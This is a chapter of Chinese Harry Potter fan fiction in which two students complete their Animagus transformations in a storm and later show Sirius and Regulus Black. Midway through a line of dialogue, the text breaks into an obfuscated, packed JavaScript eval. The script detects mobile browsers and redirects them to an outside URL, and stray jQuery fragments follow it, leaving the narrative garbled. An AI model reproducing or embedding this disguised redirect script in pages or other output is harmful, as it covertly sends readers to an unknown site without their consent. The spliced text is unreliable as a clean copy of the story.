“我觉得暴风雨这事彻底完了。”卡莉娜在猫头鹰棚屋对卡拉多克说。


    这是回家前的最后一天，天阴阴的，卡莉娜指望着今晚能下大暴雨——带雷电的那种。


    “我们有没有可能申请暑期留校？”卡拉多克把一封信系在猫头鹰的腿上。


    “可能性不大。”卡莉娜悲观地说，“霍格沃茨也没有这个传统。”


    “事实上，我专门为今天的天气给附近的麻瓜气象台去了信，”卡拉多克不好意思地说，“向多卡斯借了麻瓜的纸和笔——理论上，我是说理论上，今天晚上应该有暴风雨……”


    “真的吗？”卡莉娜惊喜地问，“他们什么时候回的信？”


    “就在昨天。”卡拉多克挠了挠头发，“我装作一个富兰克林的崇拜者——我从麻瓜历史书上看到过这个名字，他在雷雨天放风筝——告诉他们我很期待在最近看到暴风雨……”


    “梅林！”卡莉娜哭笑不得地说，“这封信对麻瓜来说一定充满童趣……希望他们没有把我们当作孩子们来敷衍……但他们应该没有必要在这件事上撒谎……”


    他们俩紧张地看着天空。


    但天气是不会为人类的意志而转移的。


    至少在卡莉娜上床入睡之前，都没有任何暴雨的迹象。


    凌晨三点，卡莉娜被一只狸花猫拍醒。


    梅林！她在心里喊道，甚至没来得及穿上整套校服——只来得及拖上拖鞋——便跟着麦格教授一路往禁林跑去。她们俩到达的时候，卡拉多克跟着邓布利多教授一同出现。


    他们四个人都穿着睡衣，邓布利多教授头上的睡帽软塌塌地倒向一边。


    麦格教授穿着一套格子睡衣，紧张地问：“怎么样，我们还来得及吗？”


    “时间正好。”邓布利多教授笑眯眯地说，“如果我的预料不错的话——”


    一道闪电从他们头顶划过。


    “我一直密切关注着天气，”邓布利多教授冲他们俩眨眨眼，“用巫师的手段……其实我还考虑过气象咒造成的暴风雨对阿尼玛格斯是否有效……”


    突然落下的暴雨打断了他。


    卡莉娜和卡拉多克从石头底下挖出他们的水晶小瓶，里面盛着足够一口的红色液体。


    她尽力不让自己去想这口液体过去都是什么东西，打开瓶塞就将它闷掉。


    剧烈的痛楚立刻袭击了她。她能隐隐感觉到麦格教授和邓布利多教授关切的目光，卡拉多克在她旁边扑通一下坐下，蜷缩成一团——不过她也没有比他更体面。


    她过去一个月常常感受到的第二种心跳剧烈地跳动起来，这个心跳比她自己的快得多得多。她曾经一边翻着百科全书一边设想着自己的阿尼玛格斯，但当一只有着血红色喙的小鸟出现在她脑海中的时候，她因为疼痛而扭曲的脸上也掠过一丝笑容。


    她喜欢飞翔。


    睡袍和拖鞋融入她的皮肤，卡莉娜感觉到自己在不住的融化、燃烧。她的视野越来越低，越来越矮——这一切都过分古怪——而她的思绪似乎也变得缓慢。


    或许是因为她的脑容量变小了。


    奇怪，什么是脑容量？


    麦格教授紧张地注视着面前的两只小动物，它们俩看起来呆呆傻傻的。


    邓布利多教授一只手握着卡莉娜和卡拉多克的魔杖，另一只手握着自己的魔杖——用来给他自己和麦格教授撑伞。


    “喔，”他兴致勃勃地说，“非常幸运——没有任何一种水生动物——否则我们要赶紧转移到黑湖边……”


    麦格教授用相当不赞成的眼神看着他。


    卡莉娜花了几分钟来适应自己的新大脑——她非常不习惯这种思考速度——作为一个人，她大脑的运转速度可以打败世界上大部分的人类。这个想法出现的刹那，她从某种浑浑噩噩当中陡然清醒过来。


    “Kee？”她的鸟脑瓜子一歪，发出一个短促而清脆的声音。


    她身后传来轻柔的咕噜声，一只黑色的爪子轻轻地推推她的身体——这只爪子几乎和她的身体一样大——只算身体的部分，不算她的尾羽。


    她抬起头，卡拉多克用一张湿漉漉的狐狸脸看着她。


    “你们现在可以想象自己的人类形态，越详细越好。”麦格教授说，“不要慌张……”


    卡莉娜想象着自己的脸——理论上来讲，她应该对自己看了十几年的脸相当熟悉，但回忆起每一个细节却花费了她好一番功夫——何况另一张她用了二十多年的脸总是不合时宜地出现。


    好在她成功了。


    卡莉娜套着自己不像样的睡衣从禁林铺满叶子的地面上爬起来，卡拉多克坐在地上，对着她露出湿漉漉的笑容。


    “好极了！”邓布利多教授把他们俩的魔杖发还给他们，“你们还可以试试……重新变回去——熟练之后，不用魔杖也可以轻松地变形……”


    卡莉娜重新变成那只轻盈的小鸟，嘴里衔着魔杖——她的魔杖只比她自己短了五公分——她感到一丝莫名的局促。


    卡拉多克发出类似于呜咽的声音，她能感觉到他在笑。于是她蹦到他毛茸茸的脑袋上，一脸严肃地坐下。


    邓布利多教授对麦格教授说：“我过去在北边见过这种鸟——但我说不出它的名字——我得回去翻翻百科全书……”


    麦格教授摇摇头，表示她也对这种鸟类所知不多。


    “非常棒，你们两个。”她脸上写着相当骄傲的表情，“回到你们温暖的床上去——睡一会儿觉，而后等着回家。”


    卡莉娜给自己施了好几个咒语，干爽地回到自己的寝室，却完全睡不着觉。


    阿尼玛格斯确实疼得要命，她想，但变化成功之后却相当好玩……她忍不住翻身下床，从旁边的一大摞书当中抽出鸟类百科全书，从头到尾地查阅她变成的那种小鸟。


    黑帽子、灰披风、燕尾叉，红嘴巴。她看着书页上这只昂着胸脯的小鸟，把关于它的每一个字通读一遍。


    北极燕鸥？她的脑袋上好像出现一个大大的感叹号——往返于南极和北极之间，追逐太阳——一种一生都在迁徙的鸟。


    苏格兰北部和东北部的海岸上有它们的栖息地，但它们会在九月份离开，前往南极越冬……卡莉娜大为震惊地看到最后一个字。


    她好像不能在冬天的时候变成阿尼玛格斯太久——会被冻死。卡莉娜苦涩地想到，她得给自己施加一个持续保暖的咒语——而后飞一段便下来给自己补一个。


    也许她会变成唯一一个冻伤的巫师。她忧伤地看着书页上小鸟的眼睛，把这本百科全书塞回书架上。


    卡拉多克就不用担心那么多——她倒在床上，双手交叠着放在身前——英国遍地都是狐狸……他甚至不会太过起眼。


    但她可以自己飞起来，这可是任何她学过的咒语都做不到的。


    在短暂的睡梦中，她看见自己掠过英国上空，向着南极飞去——经过赤道的时候，船底座在她头顶闪闪发光——她不停歇地飞着，飞过清晨和夜晚，直到世界尽头。


    ————


    在把一打收藏着纹章的柜子油漆成格兰芬多的颜色之后，西里斯和往常的每一个暑假一样喜提禁闭。


    “毫无意义的举动。”雷古勒斯指责他，“你只是想惹妈妈生气……”


    “她好过我就不好过。”西里斯无所谓地说，“禁闭是我和老妖婆完美的相处模式——谁也看不见谁……而且这不是毫无意义……”


    “他的意思是并不经济。”卡莉娜查看着每天寄过来的大量信件，“毕竟只需要稍微服软，就可以度过一个还算是舒服的假期——”


    “这绝不可能。”西里斯嗤笑道，“我绝不会向沃尔布加妥协——下辈子也不可能——这是战争……彻底的战争……更何况这不是合不合算的问题，这是态度的问题。”


    “为了你的个性吃土吧。”雷古勒斯不耐烦地说，手上翻阅着炼金协会的所有专利文件。


    “你的脾气日益增长。”西里斯嘲笑他，“这就是给卡莉娜打工的宿命——永远无法结束的工作。”


    雷古勒斯没有用言语回应他，只是从口袋里抽出他们端着魁地奇杯的照片。


    “啧。”西里斯咂咂嘴，“你们明年就不会这么好运了——等着瞧吧。”


    “今年你们的队长就毕业了，”雷古勒斯用同情的眼神看着他，“要挑到和他一样好的球员可不容易……而且你们的找球手不那么灵光……”


    “你们的追球手也一样，”西里斯懒洋洋地说，“明年你们的阵容不如今年牢固——金色飞贼也救不了你们……”


    他们俩就这个话题开始斗嘴。


    卡莉娜完全忽视他们俩的声音，专心致志地看吕西安教授的信件。信里说他今年会到英国来，和她聊聊以太新推出的产品。


    “非常期待看到你们，”她飞速扯过一张羊皮纸给夫妇俩回信，“但不要在英国逗留太久……出于我们都知道的原因——又及，我有两套隐蔽的房产，你们可以选择住到那里……”


    “说起来，你的阿尼马格斯成功了吗？”西里斯和雷古勒斯的争论声停止了。西里斯的脑袋歪在沙发外面，用好奇的眼神打量着她。


    “阿尼马格斯？”雷古勒斯难以置信地看向卡莉娜，“什么时候的事？”


    “这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484114|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    学年结束的时候。”卡莉娜把信收尾，“我算是非常幸运……”


    “所以你变成什么了？”西里斯兴冲冲地问，“我是想变成某种大型动物——但这种事说不准，是不是？”


    “你也要变成阿尼马格斯？”雷古勒斯把脑袋转向西里斯，“为什么？”


    “为了学术目的。”西里斯大言不惭地说，“卡莉娜就是为了这个——麦格教授盯着她呢。”


    雷古勒斯半信半疑地把目光收回来，脑袋再次转向卡莉娜。


    “和大型动物完全相反。”卡莉娜挥挥手，“甚至可以说得上小巧玲珑……我会这么说……其实这样想想，我们还可以探究一下我失去的体重都去了哪里——从某种意义上来说，这完全不符合守恒定律——魔法肯定在其中做了什么……”


    西里斯和雷古勒斯用平静的目光看着她。


    “我知道……”她嘟哝着说，“停止学术研究……”


    她迟疑地看着他们俩，把自己放在桌子上的魔杖拿起来。


    “好吧，”她说，“我还没有熟练到可以不用魔杖变形……”


    她连人带衣服在椅子上消失，一只最多三十公分长的小鸟鼓着胸脯站在椅背上。


    他们俩用一种惊奇的目光看着这只小鸟。


    “甚至算得上迷你！”西里斯震惊地说，“你的尾巴和你的身体一样长……”


    “你的爪子上有纹路，”雷古勒斯仔细地打量道，“是你拖鞋上的图案——咬着尾巴的衔尾蛇，很细的白色纹路，不是很明显……”


    “这两只小细爪子上能看出什么，”西里斯嘴上这么说，头也凑过来观察她的爪子，“所以你能飞吗？”


    卡莉娜原地起跳，借着椅背的高度飞起来——她在自己房间里偷偷练习过很多次飞行，想起来真是心酸——拍着翅膀落在西里斯的脑袋上。


    “你比两颗鸡蛋还轻。”西里斯直起身，顶着她在房间里走来走去，哈哈大笑。


    卡莉娜不耐烦地从他的脑袋飞到雷古勒斯的脑袋上。


    不得不说，他们家的黑色头发很适合做窝。


    她用爪子刨了刨这些微卷的头发，抖抖羽毛把自己埋进去。


    “一定要在头顶吗？”雷古勒斯小心翼翼地维持着脑袋的平衡，跟她打商量。


    卡莉娜忍不住发出一连串清脆的声音，跳回自己的凳子上，自然而然地变回人形的自己。


    “我想这也值得一些掌声。”她矜持地说，“麦格教授每次都会收到——”


    “这太酷了——”西里斯激动地说，“你是怎么让叶子服服帖帖待在嘴里的？”


    “好好听弗立维教授的课。”她说，“你们明年课上就会听到这个咒语——另外，你知道自己是背着麦格教授在做这事吧？”


    西里斯笑嘻嘻地说：“背着她才好玩——我们自己就能学成，更何况有你盯着，不会有事的。”


    “我真的很幸运，”卡莉娜说，“回家那天凌晨有大暴雨和闪电——明年可能没有这回事……”


    “我有的是耐心。”西里斯把自己扔回沙发上，“还没有我办不成的事！”


    雷古勒斯切了一声。


    他们俩又开始拌嘴，卡莉娜平静地转回去看她搜集的一打论文——这个假期没有作业，是做研究的好日子。


    萨鲁曼顶开猫门溜进来，缠着她的腿撒娇。


    “不要给它吃的。”雷古勒斯警惕地说，“根据商店店员的说法——它完全超重了！”


    “你超重了？”卡莉娜啼笑皆非地看着这只黑色猫咪，“黑色显瘦，是不是——你得听雷尔的——少吃一点。”


    萨鲁曼愤怒地发出尖利的叫声，不满地从猫门跑走。


    “无利不起早。”西里斯评价道，“不愧是你的猫……”


    “萨鲁曼很会撒娇，”卡莉娜忍着笑说，“平时就很擅长在斯莱特林公共休息室上上下下要吃的……”


    “什么？”雷古勒斯绝望地说，“它到底蹭到了几顿饭？”


    “在公告栏里贴张注意事项吧。”卡莉娜建议道，“我想再吃更多对它不健康……”


    “我会让它见识我的手段。”雷古勒斯恶狠狠地说，“等着瞧吧，萨鲁曼……”


    西里斯在沙发上扭动着发出狂笑声。


    他们俩开始扭打起来。


    卡莉娜继续熟练地忽视房间的那个角落，把自己的炼金工具从柜子里翻出来。


    他们俩可能会探索出某种和平的相处办法，但也可能不会——或许很久以后的某天他们还是如此，或许直到白发苍苍也是如此——想到两个小老头互相拌嘴的未来，她感到相当期待。